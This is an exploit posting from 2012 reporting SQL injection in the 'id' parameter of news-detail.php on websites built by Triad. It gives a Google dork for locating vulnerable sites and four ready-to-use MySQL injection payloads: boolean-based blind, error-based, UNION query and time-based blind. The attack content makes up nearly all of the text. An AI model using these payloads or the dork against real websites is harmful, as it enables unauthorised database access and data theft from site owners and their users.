Website Created By Triad SQL Injection

` _ _ _  
_ __ _ _| |__ ___ _ __ | (_)_ __ _ ___ __  
| '__| | | | '_ \ / _ \ '_ \ | | | '_ \| | | \ \/ /  
| | | |_| | |_) | __/ | | | | | | | | | |_| |> <  
|_| \__,_|_.__/ \___|_| |_|___|_|_|_| |_|\__,_/_/\_\  
|_____|  
  
# Exploit Title: SQL Injection  
#  
# Google Dork: "Website Created and Hosted By Triad"  
#  
# Date: 5/9/12  
#  
# Author: ruben_linux  
#  
# Site : http://arealinux(dot)blogspot(dot)com(dot)es  
# http://www(dot)youtube(dot)com/user/rubenlinux  
==================================  
Files affected : news-detail.php  
parameter: id  
  
==================  
PoC-Exploit  
==================  
Place: GET  
Parameter: id  
Type: boolean-based blind  
Title: AND boolean-based blind - WHERE or HAVING clause  
Payload: id=5' AND 6992=6992 AND 'kaiM'='kaiM  
  
Type: error-based  
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause  
Payload: id=5' AND (SELECT 8596 FROM(SELECT  
COUNT(*),CONCAT(0x3a6974713a,(SELECT (CASE WHEN (8596=8596) THEN 1 ELSE 0  
END)),0x3a6a6c763a,FLOOR(RAND(0)*2))x FROM  
INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'PzcT'='PzcT  
  
Type: UNION query  
Title: MySQL UNION query (NULL) - 7 columns  
Payload: id=5' LIMIT 1,1 UNION ALL SELECT NULL, NULL, NULL,  
CONCAT(0x3a6974713a,0x4c6b50577255634a4c52,0x3a6a6c763a), NULL, NULL, NULL#  
  
Type: AND/OR time-based blind  
Title: MySQL > 5.0.11 AND time-based blind  
Payload: id=5' AND SLEEP(5) AND 'wZaG'='wZaG  
  
  
[+] http://www.******.com/news-detail.php?id=5[SQLi]  
`